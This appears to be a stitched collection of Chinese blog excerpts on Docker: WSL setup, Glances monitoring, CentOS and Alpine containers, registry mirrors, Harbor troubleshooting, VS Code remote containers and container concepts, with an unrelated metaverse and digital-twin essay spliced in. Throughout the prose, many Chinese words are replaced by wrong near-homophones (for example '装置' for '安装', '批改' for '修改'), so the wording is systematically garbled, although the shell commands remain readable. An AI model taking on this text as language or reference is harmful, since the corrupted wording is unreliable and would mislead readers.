Docker

WSL 应用阐明对于卸载wsl --shutdownwsl --unregister xxxxx卸载 Ubuntu关上 Windows 性能敞开： 实用于 Linux 的 Windows 子系统虚拟机平台点击确定对于导入导出import 和 export 只是针对磁盘，意思就是网上说的批改 Ubuntu 目录用的导入导出办法的就是批改了磁盘的地位罢了。上面是迁徙 Ubuntu 时的操作： wsl --export Ubuntu E:\Wsl\Ubuntu\ubuntu.tarwsl --unregister Ubuntuwsl --import Ubuntu E:\Wsl\Ubuntu E:\Wsl\Ubuntu\Ubuntu.tar --version 2对于 WSL针对Wsl开发环境做以下总结： 尽管应用起来像是一个零碎，然而不是，这个肯定要留神既然不是一个零碎，就不要关上windowns下的我的项目却应用Ubuntu下的环境。明天关上Windowns下的Java我的项目，用的是Ubuntu下的Jdk后果，死活不能给我的项目增加，平台外面是有的。肯定要辨别Ubuntu软件和Wsl.Ubuntu。装置的Ubuntu间接关上是root权限，Wsl.Ubuntu是黄色图标。设置外面能够清晰看到执行的命令不一样。切记，开发用一个零碎环境。要么Windows上面。把服务全副装置到Ubuntu。要不都在Ubuntu。前一段时间Flink服务拜访不了，最初发现Flink服务bind配置须要改为0.0.0.0不能是localhost。用户权限 当第一次启动 Ubuntu 时，会让你创立用户，上面设置的就是这个用户。 能够很好的解决在 Windwos 下创立文件具备 Root 权限的问题，还有 Vscode 中的 Terminal 也能够关上就是普通用户，不须要在进行设置。在 cmd 或者 powershell 中执行如下命令 ubuntu config --default-user xxx# wsl 敞开wsl --terminate Ubuntu# wsl 启动 -u 指定用户wsl -d Ubuntu -u xxx对于代理代理问题，肯定要开发代理软件的容许局域网。完了之后找到局域网的代理端口。设置：source proxy.sh set 10811 勾销设置： source proxy.sh unset ...

需要当后端服务进入容器之后，有些读取系统资源状态的后果可能会因为容器命名空间的起因而产生谬误 最显著的就是读取IP信息的时候会间接读取后端容器的IP，在容器当中不论是采纳ifconfig形式还是采纳代码psutil形式读取，都是只能读取容器IP,所以就产生了一个需要，须要一个弱小的系统资源监控 解决方案应用一个开源残缺的资源监控我的项目，目前github标星20k+ https://github.com/nicolargo/glances我的项目能够应用pip和docker版本装置，本计划采纳docker装置，也能够应用pip装置体验一下 $ pip install glances$ python -m glances 监控的指标包含以下CPU，磁盘，内存，磁盘读写速度，过程信息，内网公网IP,网口网速，容器服务，电池CPU温度，内核版本，启动工夫等等 docker实现docker run --rm -v /var/run/docker.sock:/var/run/docker.sock:ro --pid host --network host -it nicolargo/glancesdocker compose实现新建compose.yaml services: glances: image: nicolargo/glances:latest-full container_name: demo-glances restart: always pid: host volumes: - /var/run/docker.sock:/var/run/docker.sock:ro command: /bin/sh -c "python3 -m glances -w --disable-webui --bind 172.17.0.1" network_mode: host healthcheck: test: curl http://172.17.0.1:61208/参数 image nicolargo/glances:latest-full采纳最新版本镜像，如果谋求更小的镜像能够抉择标签alpine-latestpid host参数示意应用宿主机过程命名空间，这样能够精确读取到宿主机其余过程信息volumes /var/run/docker.sock:/var/run/docker.sock:ro只读形式把docker的socket挂载进入容器确保能够失常读取宿主机容器状态command下的glances参数 -w示意应用web服务器模式--disable-webui示意敞开web服务接口，只留下Restful服务--bind 172.17.0.1示意服务地址绑定到这个IP地址，该IP地址是固定的，具体解释查看下文docker桥接网络模式局部network_mode host示意应用宿主机网络命名空间healthcheck 示意进行容器衰弱状态查看，glances默认应用61208端口服务启动 $ docker compose up -d测试拜访容器内拜访和容器外拜访url都是一样的 拜访之后的返回响应的值会根据用户网络状况变动 glances的restful服务glances的Restful服务默认监听61208端口通过拜访IP地址172.17.0.1进行拜访测试容器内部拜访$ curl http://172.17.0.1:61208/api/3/ip{"address": "10.30.6.24", "mask": "255.255.248.0", "mask_cidr": 21, "gateway": "10.30.0.1", "public_address": "115.205.148.68"}测试其余容器的容器外部拜访$ docker run curlimages/curl /bin/sh -c "curl http://172.17.0.1:61208/api/3/ip" % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed100 127 100 127 0 0 648 0 --:--:-- --:--:-- --:--:-- 651{"address": "10.30.6.24", "mask": "255.255.248.0", "mask_cidr": 21, "gateway": "10.30.0.1", "public_address": "115.205.148.68"}或者也能够先进入容器之后执行$ docker run -it curlimages/curl /bin/sh/ $ curl http://172.17.0.1:61208/api/3/ip{"address": "10.30.6.24", "mask": "255.255.248.0", "mask_cidr": 21, "gateway": "10.30.0.1", "public_address": "115.205.148.68"}python代码形式应用创立文件demo.py写入如下 ...

必看材料第一个视频初步理解https://www.bilibili.com/video/BV1s54y1n7Ev?share_source=copy_web 第二个视频学习Dockerhttps://www.bilibili.com/video/BV11L411g7U1?share_source=copy_web 图文材料：https://docker.easydoc.net/doc/81170005/cCewZWoN/lTKfePfP 装置与环境配置：https://blog.csdn.net/github_39577257/article/details/107180891 1.运行一个centos容器（版本：centos7.9.2009）留神：如果说是把这个docker当作开发环境的话举荐应用 --net=host 的形式，省去很多麻烦 docker run -itd --name oldfriend-bt -p 80:80 -p 22:22 -p 21:21 -p 443:443 -p 8888:8888 -p 3306:3306 -p 6379:6379 -p 9500:9500 -p 7700-7720:7700-7720 -v /home/WorkSpace:/www/wwwroot --privileged centos:centos7.9.2009 /usr/sbin/initdocker run -itd -p 80:80 -p 8888:8888 -p 9500:9500 -p 3306:3306 -p 888:888 -v /home/WorkSpace:/www/wwwroot --privileged=true --name="oldfriend-bt" registry.cn-hangzhou.aliyuncs.com/oldfriend/oldfriend-bt /usr/sbin/initdocker run -itd --net=host -v /home/WorkSpace:/www/wwwroot --privileged=true --name="oldfriend-bt-host" registry.cn-hangzhou.aliyuncs.com/oldfriend/oldfriend-bt /usr/sbin/init2.配置网络首先须要查看是否存在/etc/sysctl.conf文件，如果不存在就在创立一个，如果存在，则查看net.ipv4.ip_forward项 还有一种办法：https://blog.csdn.net/qq_39774931/article/details/116517589 ## 假如 sysctl.conf 文件不存在vi /etc/sysctl.conf## 在 sysctl.conf 中减少 net.ipv4.ip_forward = 1 , 示意容许进行路由转发net.ipv4.ip_forward = 1## 加载参数到内核sysctl -p## 重启网络# service network restart## 重启Dockerservice docker restart## 重启容器# docker restart xxx## 进入容器测试网络连接状况docker exec -it xxx bin/bash ping www.baidu.com# 如果上述做完还是不能够，就重启电脑，# 重启之后还是不能够就反复上述操作在重启电脑确认容器网路可用之后，就能够开始装置的工具。 ...

以前有句玩笑话，JAVA是跨平台的，一次编写，到处编译！诚然，java的程序在部署方面是比较复杂和难以调试的，如果是多地部署要思考的货色很多，而打包成一个镜像，连操作系统都是齐全对立的，这样在99%的状况下是能够做到一次编译到处运行的，用法简略、十分的爽！ 一、什么是docker援用官网阐明：Docker is an open platform for developing, shipping, and running applications. Docker enables you to separate your applications from your infrastructure so you can deliver software quickly. With Docker, you can manage your infrastructure in the same ways you manage your applications. By taking advantage of Docker’s methodologies for shipping, testing, and deploying code quickly, you can significantly reduce the delay between writing code and running it in production.简略讲就是，Docker让基础设施像应用程序般轻松治理，不便疾速进行集成、测试和封装，极大的缩小交付的延误！ ...

第一步：Win + R 调出窗口 第二步：输出 cmd 回车，关上命令行 第三步：在菜单栏右键点击 Properties 第四步：勾销 Use legacy console（requires relaunch. affects all consoles） 第五步：重启计算机，从新关上docker即可

Docker初学者试验代码筹备需先自行在linux环境中装置好docker $ lsDockerfile app.py requirements.txt Dockerfile # 应用官网提供的 Python 开发镜像作为根底镜像# 指定了“python:2.7-slim”这个官网保护的根底镜像，从而免去了装置Python 等语言环境的操作FROM python:2.7-slim# 将工作目录切换为 /appWORKDIR /app# 将当前目录下的所有内容复制到 /app 下ADD . /app# 应用 pip 命令装置这个利用所须要的依赖RUN pip install --trusted-host pypi.python.org -r requirements.txt# 容许外界拜访容器的 80 端口EXPOSE 80# 设置环境变量ENV NAME World# 设置容器过程为：python app.py，即：这个 Python 利用的启动命令CMD ["python", "app.py"]app.py from flask import Flaskimport socketimport osapp = Flask(__name__)@app.route('/')def hello(): html = "<h3>Hello {name}!</h3>" \ "<b>Hostname:</b> {hostname}<br/>" return html.format(name=os.getenv("NAME", "world"), hostname=socket.gethostname()) if __name__ == "__main__": app.run(host='0.0.0.0', port=80)requirements.txt ...

装置nginx ，输出指令 apk add nginx /usr/sbin # apk add nginxWARNING: Ignoring //mirrors.aliyun.com/alpine/edge/community/x86_64/APKINDEX.tar.gz: No such file or directoryfetch http://mirrors.aliyun.com/alpine/v3.9/main/x86_64/APKINDEX.tar.gzfetch http://mirrors.aliyun.com/alpine/v3.9/community/x86_64/APKINDEX.tar.gz(1/2) Installing pcre (8.42-r2)(2/2) Installing nginx (1.14.2-r5)Executing nginx-1.14.2-r5.pre-installExecuting busybox-1.29.3-r10.triggerOK: 87 MiB in 59 packages/usr/sbin # 配置用户，通过apk间接装置的nginx配置中默认用户是nginx，省事能够间接改成以后用户，不过倡议还是创立一个新用户: # 创立www用户/usr/sbin # adduser -D -g 'nginx' nginx# 配置权限/usr/sbin # chown -R nginx:nginx /var/lib/nginx# 备份配置文件/usr/sbin # cp /etc/nginx/nginx.conf /etc/nginx/nginx.conf.orig# 配置启动目录/usr/sbin # mkdir -p /run/nginx/如果要改nginx运行用户，关上 /etc/nginx/nginx.conf ，找到user节点批改： # /etc/nginx/nginx.confuser root; 运行nginx如果曾经在容器环境中，间接输出 nginx 命令运行 /usr/sbin # nginx /usr/sbin # 如果是要创立一个nginx镜像，ENTRYPOINT的命令要带上 daemon off ，防止nginx后盾运行后主过程1完结导致容器间接敞开: ...

前端周刊发表每周前端技术相干的大事件、文章教程、一些框架的版本更新、以及代码和工具。每周定期发表，欢送大家关注、转载。 <span style="color:red;">欢送关注公众号前端每周看</span> 前言Docker 是一个开源的利用容器引擎，让开发者能够打包他们的利用以及依赖包到一个可移植的镜像中，而后公布到任何风行的 Linux 或 Windows 操作系统的机器上，也能够实现虚拟化。容器是齐全应用沙箱机制，相互之间不会有任何接口。目前开发前后端拆散模式十分风行，后端只须要提供 resetful api 接口，前端也是一个独自的工程利用，那么 NGINX 配置就必不可少。上面列出了，前端我的项目 docker 部署所遇到的问题及解决办法，1 和 2 是内网部署问题，3 和 4 外网部署问题。 次要问题1、宿主机不能上网公司我的项目是打包到服务器一起发给客户，机器在公司上网都是失常的，邮件到客户那上不了网。次要是因为机器在公司注册了路由表，先接入的网络路由表没有更新，执行上面的命令革除路由表 sudo ip route flush table main而后接入网络，从新获取 2、docker 与宿主机网络不通docker 网络模式bridge：桥接模式桥接模式是 docker 的默认网络设置，当 Docker 服务启动时，会在主机上创立一个名为 docker0 的虚构网桥，并抉择一个和宿主机不同的 IP 地址和子网调配给 docker0 网桥 host：主机模式该模式下容器是不会领有本人的 ip 地址，而是应用宿主机的 ip 地址和端口。这种模式的益处就是网络性能比桥接模式的好。毛病就是会占用宿主机的端口，网络的隔离性不太好 none：无网络模式网络模式抉择桥接模式的容器，就会连贯上 docker0 这个网桥，在通过 nat 的转换，通过宿主机的网卡，连贯外网，就能达到上外网的目标。 查看网络模式： docker network ls 问题解决查看网桥 ip 为172.17.0.1，容器 ip 为172.0.0.2，发现宿主机能 ping 通网桥，然而无奈连贯容器，而容器无奈连贯网桥，无奈连贯宿主机，更别谈外网了，所以这里能够必定是网桥出了问题 网桥工具 yum install bridge-utilsbrctl show这里docker network生成新的网桥不行，阐明docker的network存在问题，咱们利用方才下载的bridge-utils来创立网桥。首先暂停docker服务，利用指令 systemctl stop docker增加网桥 ...

装置前依赖目前是采纳阿里云源，增加仓库源和依赖，执行命令如下 $ sudo apt install -y apt-transport-https ca-certificates curl gnupg lsb-release software-properties-common$ curl -fsSL https://mirrors.aliyun.com/docker-ce/linux/ubuntu/gpg | sudo apt-key add -$ sudo add-apt-repository "deb [arch=amd64] https://mirrors.aliyun.com/docker-ce/linux/ubuntu $(lsb_release -cs) stable"装置$ sudo apt-get update$ sudo apt-get install -y docker-ce docker-ce-cli containerd.io docker-compose-plugin配置docker非root非sudo用户操作把以后非root用户增加到docker用户组，执行如下 $ sudo groupadd docker$ sudo gpasswd -a ${USER} docker因为以后终端shell还保留着旧用户信息当初新开一个终端执行命令验证是否能够非sudo操作 $ docker info批改docker镜像源镜像源地址举荐 阿里云 https://registry.cn-hangzhou.aliyuncs.com如果有账号的, 应用[零碎调配前缀].mirror.aliyuncs.com腾讯云https://mirror.ccs.tencentyun.comdocker中国https://registry.docker-cn.com网易http://hub-mirror.c.163.com中科大https://docker.mirrors.ustc.edu.cn编辑/etc/docker/daemon.json写入如下内容 { "registry-mirrors": [ "https://docker.mirrors.ustc.edu.cn", "http://hub-mirror.c.163.com"]}批改实现之后执行如下命令，更新docker服务配置和重启服务 $ sudo systemctl daemon-reload$ sudo systemctl restart docker查看批改镜像是否胜利 $ docker info#输入信息蕴含如下... Registry Mirrors: https://docker.mirrors.ustc.edu.cn/ http://hub-mirror.c.163.com/....目前的docker-compose能够作为docker的sub command调用，这个也是目前举荐的形式编辑一个compose.yaml文件 ...

Dockerfile中如果通过ENTRYPOINT 间接执行java -jar命令，会发现在容器中的java过程id是1，这会给应用jstack、jmap查看jvm带来艰难，除了网上较多提到的应用tini来解决外，通过sh简略再开一个子过程也是能够的：实现写好run.sh脚本放到我的项目中: #!/bin/shjava $JAVA_OPTS -jar tmp/$appName.jar调整dockerfile： COPY ./target/$appName.jar /tmpENTRYPOINT [ "sh","-c","/tmp/run.sh"]

VsCode轻松应用docker容器-Remote Containers演示视频：BiliBili 应用docker容器过程中，最常见的操作是进入容器内查看文件、批改配置等操作 以前应用shell进入容器内，应用linux命令操作 docker psdocker exec -it <container-id> sh应用VsCode插件Remote Containers像VsCode操作本地文件一样去查看文件、批改配置。能够界面化得操作文件，不须要应用shell命令（如:ls cat echo vi等） 装置VsCode插件关上VsCode进入拓展界面搜寻"Remote"/"Docker"，并装置插件（个别在最后面） "Docker""Remote - Containers""Remote - ssh" 操作容器点击VsCode左侧，"docker"图标右键正在运行的容器，点击"Attach Visual Studio Code"如果弹窗提醒须要信赖，点击"Got It"即可此时会关上新窗口，就进入了容器内点击关上文件/文件夹，间接进行操作即可近程服务器开发过程中，往往部署服务会在服务器上，所以须要近程到服务器上部署docker，上面服务器为ubuntu 点击VsCode左侧，"近程连贯"图标切换为"SSH Targets"点击"+"创立近程连贯信息，按提醒填入信息创立实现后生成连贯选项，右键连贯点击VsCode左侧，"拓展"图标将上述三个拓展装到服务器上，即可看到VsCode侧边栏呈现容器图标减少用户权限点击VsCode左侧，"Docker"图标，发现无奈连贯须要将登陆用户增加到docker用户组中 sudo gpasswd -a <以后登陆用户名> docker# 例如： sudo gpasswd -a xuxiaocong docker# 从用户组中删除： sudo gpasswd -d <以后登陆用户名> docker重启服务器即可应用 sudo reboot重启过后即可像在本人电脑中一样，操作docker了应用SSH key缩小输出明码近程到服务器后，很多操作须要输出明码，应用起来不不便，能够应用SSH key缩小明码输出 关上本机的cmd，创立SSH key ssh-keygen关上SSH目录，"C:\Users\<用户名>.ssh"能够看到目录下有四个文件，关上公钥"id_rsa.pub"并复制登陆近程服务器关上近程服务器的SSH目录，"/home/<用户名>/.ssh/authorized_keys" 没有.ssh目录进新建一个没有authorized_keys文件就新建一个将复制的本机的公钥粘贴到authorized_keys文件中之后再登陆或其余操作就不须要再输出明码了

鉴于目前，云原生k8s的部署形式，越来越宽泛。那咱们也应该要应用docker的形式部署openoffice。这个部署的第一步，就是要有一个docker镜像，那咱们明天就来讲讲，如何制作openoffice的docker镜像包。当然啦，openoffice的docker镜像包，咱们能够从docker hub仓库，间接拉他人制作好的镜像包。 docker hub地址docker pull umnelevator/openoffice:latest 以上，是我看到pull次数最多的镜像，不晓得是不是官网的哈！而且这个也比拟久了3年前(目前2022-06-16)、也不晓得外面有无解决中文乱码等问题！所以咱们这里，还是本人来制作一个属于咱们本人的openoffice，docker镜像包。开干！！！^_^ 2.openoffice镜像包制作2.1环境筹备Apache_OpenOffice_4.1.10_Linux_x86-64_install-rpm_zh-CN.tar.gz下载 下载地址: openoffice ,抉择Linux 64位 RPM包，简体中文，默认最新版本，而后点击 “Download full installation” 下载指定的安装包。 这里，咱们抉择4.1.10版本目前最新版本4.1.12(目前2022-06-16) 下载好如下： 2.2字体文件筹备 在windows上 C:\Windows\Fonts 目录下，将字体拷贝到fonts目录下 2.3lib文件筹备 这些是为了解决，启动openoffice报错，所须要的lib文件。能够在linux环境下，拷贝这些文件。具体的下载地址：点击下载 2.4Dockerfile文件编写FROM openjdk:8u332-jdk 1.增加到容器，会帮咱们主动解压ADD Apache_OpenOffice_4.1.10_Linux_x86-64_install-rpm_zh-CN.tar.gz /tmp/ 2.装置openofficeRUN cd /tmp && \yum install -y zh-CN/RPMS/*.rpm && \yum clean all 3.将咱们筹备的fonts字体，拷贝到/usr/share/fonts上面RUN mkdir -p /usr/share/fontsCOPY ./fonts /usr/share/fontsRUN cd /usr/share/fonts/ && \chmod -R 755 /usr/share/fonts && \ 4.装置字体，和"X Window System"yum install mkfontscale fontconfig -y && \yum groupinstall "X Window System" -y && \mkfontscale && \mkfontdir && \fc-cache -fv ...

当元宇宙这个词火了之后，笔者始终在想：这不就是小时候大家都空想过的将来世界吗？甚至《头等玩家》这部电影里描述的不就是元宇宙吗？为什么这个概念忽然火起来了呢？认真钻研过后，却发现元宇宙不再是齐全的空想。 人类社会通往元宇宙的路线，正在越来越清晰。 大家应该很轻松就能够理解到，元宇宙能够在精力层面为人类社会发明价值，典型利用如娱乐、社交、思维试验等 —— 这些次要是利用虚拟现实（VR）技术实现，咱们称之为虚构元宇宙。 而事实上，元宇宙同样能够在物质层面为人类社会发明价值，典型利用如数字孪生、仿真、近程协同等 —— 这些次要通过混合事实（MR）技术实现，咱们称之为混合元宇宙。 本文次要想从技术倒退的角度和大家聊一聊混合元宇宙如何用虚拟世界的力量帮忙事实世界进一步倒退，特地是组成混合元宇宙的根底技术：数字孪生。 咱们先来聊聊这个新概念，数字孪生，其定义如下： 数字孪生是以数字化形式创立物理实体的虚构实体。是不是不知所云？ 没关系，坐下来咱们缓缓讲讲，“以数字化形式创立物理实体的虚构实体”到底是怎么一回事。 物理实体是什么？ 物理实体能够是事实世界里的任何货色。一盏灯，一个人，一台车，一栋楼，一个园区，一座城市等等，都能够是物理实体，其底层是由物质和能量组成。 虚构实体是什么？ 虚构实体则是存在于数字世界里，与物理实体一一对应的数字对象，而其底层则是由数据和软件组成。 而数字孪生，则是把物理实体的状态和能力用数据和软件的形式封装起来的虚构实体。 举个例子，读者正在看的物理屏幕，能够被简略形容成以下构造： 物理屏幕： 状态（屏幕当初是什么样子）：显示《为什么结构性数字孪生是元宇宙的根底技术？》这篇文章；能力（屏幕能执行什么动作）：关上，敞开，刷新。那么咱们手中的物理屏幕所对应的数字孪生，也就是虚构屏幕应该是什么样子呢？ 首先，虚构屏幕应该能够反映物理屏幕的状态。 打个比方，如果咱们去看虚构屏幕，它下面应该显示的是和物理屏幕上截然不同的内容。为了信息能够同步，物理屏幕和虚构屏幕是实时连贯的。以下是省略了一万字的对话： 物理屏幕：“兄弟，我在显示XXX文章了哦~” 虚构屏幕：“收到，我也开始显示XXX了！” 对话后果是虚构屏幕开始显示XXX文章。 其次，虚构屏幕应该能够反向管制物理屏幕。打个比方，如果咱们给虚构屏幕发送了一个敞开的指令，虚构屏幕则应该将此指令转发给物理屏幕，让物理屏幕敞开。以下是省略了一万字的对话： 虚构屏幕：“兄弟，老板要咱们关机”！ 物理屏幕：“嗻！” 对话后果是物理屏幕敞开了。 有了物理实体与虚构实体的双向交互，一个数字孪生就有了雏形。 那么你会问了，数字孪生这货色到底有什么用啊？ 设想一下，如果一座办公楼有了数字孪生（虚构办公楼），那么管理员不仅能够通过近程监督虚构办公楼进而实时把握这座楼安防、耗能等等的状态，更能够通过近程管制虚构办公楼进而管制物理办公楼。 如果呈现火警，管理员能够近程开启喷淋零碎灭火；如果有灯没关，管理员能够近程关灯，大幅节能。如果物理世界到数字世界的监督，数字世界到物理世界的管制都不满足你，数字孪生甚至还能够有限扩大本身能力，满足你做鳌拜小孩儿的欲望： 有限扩大本身能力还用那个办公楼的场景来举例。在物理办公楼和虚构办公楼以外，还有一个管理员。管理员表演了收集信息并且做出决策的角色。 然而咱们有没有想过，咱们真的须要管理员这个角色么？办公楼能不能自己治理本人？ 没错，你应该也想到了，有了数字孪生当前，虚构办公楼就能够表演管理员这个角色。虚构办公楼能够一周7天，一天24小时不间断地监督物理办公楼的状态，并依据状态信息主动做出应答决策。 比方在火警状态下，虚构办公楼能够依照软件规定自动控制灯光疏导出一条逃生通道，并且把必经之门提前开启，大大晋升楼内人员的逃生机会。同时，虚构办公楼能够主动拨打119，并且传播所有的重要信息，比方哪一层哪一间是真正火源等等。 更远的未来，虚构办公楼会联合多维信息，通过AI做更为简单的智能决策，实现虚构办公楼的“主动驾驶”。 从以上例子能够看进去: 数字孪生赋予物理实体的第一层能力是“云化”，也就是容许物理实体被近程操控；第二层能力是“自动化”，也就是容许物理实体被虚构实体依照既定规定操控；第三层能力则是“智能化”，也就是容许物理实体被虚构实体依照AI智能决策操控。看到这里，置信你曾经能够感触到数字孪生技术的微小前景。 然而咱们有没有想过，为什么数字孪生有这么强的能力？ 答案是: 结构性虚拟化。 虚拟化这项革命性的技术带来的益处引人注目，笔者就不再赘述了。 但什么是结构性虚拟化？ 结构性虚拟化就是将物理实体的结构性信息（比方状态）和能力（能够执行什么指令）以数字形式凋谢进去。智能手机操作系统如iOS或者安卓就对手机上的硬件做了结构性虚拟化。 想一想咱们没有智能手机操作系统的时候，须要照相的时候要找一个照相机，须要看表的时候要去找一块表。智能手机操作系统次要干了两件事： 把诸如摄像头这些硬件虚拟化成APP； 把这些硬件的能力凋谢给下层利用调用。 能够设想一下，如果没有iOS和安卓，挪动生态基本无从谈起。而这就是结构性虚拟化带来的反动。同理，对物理实体进行结构性虚拟化，其产物就是本文题目中提到的结构性数字孪生。 当初让咱们开一开脑洞，想一想： 如果有这么一个零碎，它把宇宙中所有的物理实体通通结构性虚拟化，再把他们所对应的结构性数字孪生集成起来。这个零碎是什么？ 是不是听起来像宇宙版的iOS和安卓？没错！只不过这个操作系统底层管控的是这个宇宙中所有物理实体！ 而这，可能就是混合元宇宙的最终状态——一个突破事实与虚构的界线，真正领有有限可能的宇宙级操作系统。 事实宇宙中的扭转，会被反映在元宇宙之中；元宇宙中产生的扭转，也会被同步到事实世界外面。 宇宙级OS? 有没有一种看技术文章，看着看着变成了科幻小说的感觉？ 没错，尽管刚刚描述的将来离咱们还很远，然而每一个结构性数字孪生，都会将人类向元宇宙推进一步。 那么灵魂一问来了，咱们有没有什么技术，能够批量生产结构性数字孪生呢？ 本文由博客群发一文多发等经营工具平台 OpenWrite 公布

查看 harbor 容器的状态，目前并不是全副失常运行（Up (healthy)），此时无法访问 harbor 仓库： [root@k8s-master harbor]# docker-compose psName Command State Portsharbor-core /harbor/harbor_core Exit 2harbor-db /docker-entrypoint.sh Up (healthy) 5432/tcpharbor-jobservice /harbor/harbor_jobservice ... Up (unhealthy)harbor-log /bin/sh -c /usr/local/bin/ ... Up (healthy) 127.0.0.1:1514->10514/tcpharbor-portal nginx -g daemon off; Up (healthy) 8080/tcpnginx nginx -g daemon off; Exit 1redis redis-server /etc/redis.conf Up (healthy) 6379/tcpregistry /home/harbor/entrypoint.sh Up (healthy) 5000/tcpregistryctl /home/harbor/start.sh Up (healthy)尝试重启 harbor 失败： [root@k8s-master harbor]# docker-compose restartRestarting harbor-jobservice ... doneRestarting nginx ... doneRestarting harbor-core ... doneRestarting redis ... doneRestarting registry ... errorRestarting registryctl ... errorRestarting harbor-db ... errorRestarting harbor-portal ... doneRestarting harbor-log ... doneERROR: for registry Cannot restart container 5e34911c8b66152bdd7492f05dec74b11ffd314d5aaedac6e8e5104808f7a098: failed to initialize logging driver: dial tcp 127.0.0.1:1514: connect: connection refusedERROR: for harbor-db Cannot restart container 0d95056b01feb3bd66332a95170e95eec727e905ebc092b546704ed31e36117b: failed to initialize logging driver: dial tcp 127.0.0.1:1514: connect: connection refusedERROR: for registryctl Cannot restart container 9be00e977d4f149b55dee17ebac1a9340879c3f32888aeacf89008d1f5fcb346: failed to initialize logging driver: dial tcp 127.0.0.1:1514: connect: connection refused解决办法： ...

编辑文件 /lib/systemd/system/harbor.service [Unit]Description=HarborAfter=docker.service systemd-networkd.service systemd-resolved.serviceRequires=docker.serviceDocumentation=http://github.com/vmware/harbor[Service]Type=simpleRestart=on-failureRestartSec=5ExecStart=/usr/local/bin/docker-compose -f /data/soft/harbor/docker-compose.yml upExecStop =/usr/local/bin/docker-compose -f /data/soft/harbor/docker-compose.yml down[Install]WantedBy=multi-user.target设置 harbor 开机主动启动：systemctl enable harbor 查看 harbor 服务状态，运行中： [root@k8s-master harbor]# systemctl status harbor● harbor.service - HarborLoaded: loaded (/usr/lib/systemd/system/harbor.service; enabled; vendor preset: disabled)Active: active (running) since 日 2022-06-05 16:13:00 CST; 428ms agoDocs: http://github.com/vmware/harborMain PID: 61837 (docker-compose)Tasks: 1Memory: 49.0MCGroup: /system.slice/harbor.service└─61837 /usr/bin/python3 /usr/local/bin/docker-compose -f /data/soft/harbor/docker-compose.yml up6月 05 16:13:00 k8s-master systemd[1]: Started Harbor.应用 docker-compose 先查看 harbor 容器的状态，都是 Up (healthy)，示意失常运行中： [root@k8s-master harbor]# docker-compose ps -aName Command State Portsharbor-core /harbor/harbor_core Up (healthy)harbor-db /docker-entrypoint.sh Up (healthy) 5432/tcpharbor-jobservice /harbor/harbor_jobservice ... Up (healthy)harbor-log /bin/sh -c /usr/local/bin/ ... Up (healthy) 127.0.0.1:1514->10514/tcpharbor-portal nginx -g daemon off; Up (healthy) 8080/tcpnginx nginx -g daemon off; Up (healthy) 0.0.0.0:8888->8080/tcp,:::8888->8080/tcpredis redis-server /etc/redis.conf Up (healthy) 6379/tcpregistry /home/harbor/entrypoint.sh Up (healthy) 5000/tcpregistryctl /home/harbor/start.sh Up (healthy)敞开 harbor 服务： ...

Docker基础知识容器基本概念容器是一种计算机虚拟化技术，是云原生体系中的重要组成部分，其代表性的利用包含：Docker、Podman等容器是轻量的、可执行的独立软件包，其蕴含软件运行所需的所有内容：代码、运行时环境、零碎工具、零碎库和设置容器赋予了软件独立性（具备很好的可移植性），使其免受外在环境差别（例如，开发和测试环境的差别）的影响，艰深的说就是使得软件能够带环境装置虚拟机虚拟机能够实现与容器相似的性能，能够在一种操作系统中运行另外的操作系统，虚拟机不受宿主机环境的影响，虚拟机对于宿主机来说也仅仅是一般的文件，对宿主机的其余部分无影响，然而虚拟机技术有以下的毛病： 资源占用多体积臃肿启动慢以Docker为代表的Linux容器技术（Linux Containers，缩写为LXC）解决了上述问题容器虚拟机比照容器虚拟化的是操作系统而不是硬件，容器之间是共享同一套操作系统资源的，一个运行中的容器实质上是一个非凡的过程 容器是一个应用层形象，用于将代码和依赖资源打包在一起。多个容器能够在同一台机器上运行，共享操作系统内核，但各自作为独立的过程在用户空间中运行。与虚拟机相比，容器占用的空间较少（容器镜像大小通常只有几十兆），霎时就能实现启动虚拟机技术则是虚构出一套硬件后，在其上运行一个残缺操作系统。相对来说容器的隔离级别会稍低一些 虚拟机 (VM) 是一个物理硬件层形象，用于将一台服务器变成多台服务器。管理程序容许多个VM在一台机器上运行。每个VM都蕴含一整套操作系统、一个或多个利用、必要的二进制文件和库资源，因而占用大量空间，耗费大量资源，启动也非常迟缓容器与虚拟机是能够共存的，不是取代的关系 两者有不同的应用场景。虚拟机更擅长于彻底隔离整个运行环境（隔离更彻底）。例如，云服务提供商通常采纳虚拟机技术隔离不同的用户。而 Docker通常用于隔离不同的利用 ，例如前端，后端以及数据库 <img src="https://images.demoli.xyz/image-20210808191333415.png" alt="image-20210808191333415" style="zoom:67%;" /> 容器劣势绝对虚拟机来说，容器更加轻量级，耗费资源少，能够疾速启动可移植性强，在软件开发、测试，运维的各个期间都能统一的运行 因而反对麻利的DevOps开发，缩短生产周期 所谓的DevOps就是是两个传统角色Dev(Development)和Ops(Operations)的联合，Dev负责开发，Ops负责部署上线，说白了就是要有一个理解Dev的人能把Ops的事干了绝对强的隔离性，一个容器呈现故障并不会影响其余容器的运行连续性容器劣势安全性问题，因为容器的隔离性只是过程级别的隔离，相比拟传统虚拟机，容器潜在的平安危险更高。它们须要多种级别的安全措施 最常说的一个毛病就是在容器外部执行top命令能够看到宿主机的运行状态跟Namespace状况相似，Cgoups对资源的限度能力也有很多不欠缺的中央，其中被提及最多的是/proc文件系统的问题。/proc目录存储着以后内核运行状态的一系列非凡文件，用户能够通过拜访这些文件，查看零碎以及以后正在运行的过程的信息，比方CPU应用状况、内存占用率等，这些文件也是top指令查看零碎信息的次要数据起源。 然而，如果你在容器里执行top指令，就会发现，它显示的信息竟然还是宿主机的CPU和内存数据。这是因为/proc文件系统并不知道用户通过Cgroups给这个容器做了什么样的资源限度，所以它返回的还是整个宿主机的。那么这个问题会导致，容器内的应用程序读取到的CPU核数、可用内存等信息还是宿主机的，而不是做了限度之后的。这就是容器相比拟于虚拟机另一个不尽如人意的中央 当然，为了解决下面的那个问题。直观的做法就是容器不挂载宿主机的该目录就能够了，能够通过lxcfs来实现隔离，lxcfs在宿主机上保护过程组的信息，而后容器启动的时候将lxcfs保护的过程组信息所在的目录挂载到容器的/proc目录，在容器中获取/proc信息时，实际上获取的是宿主机上对该容器的过程组信息 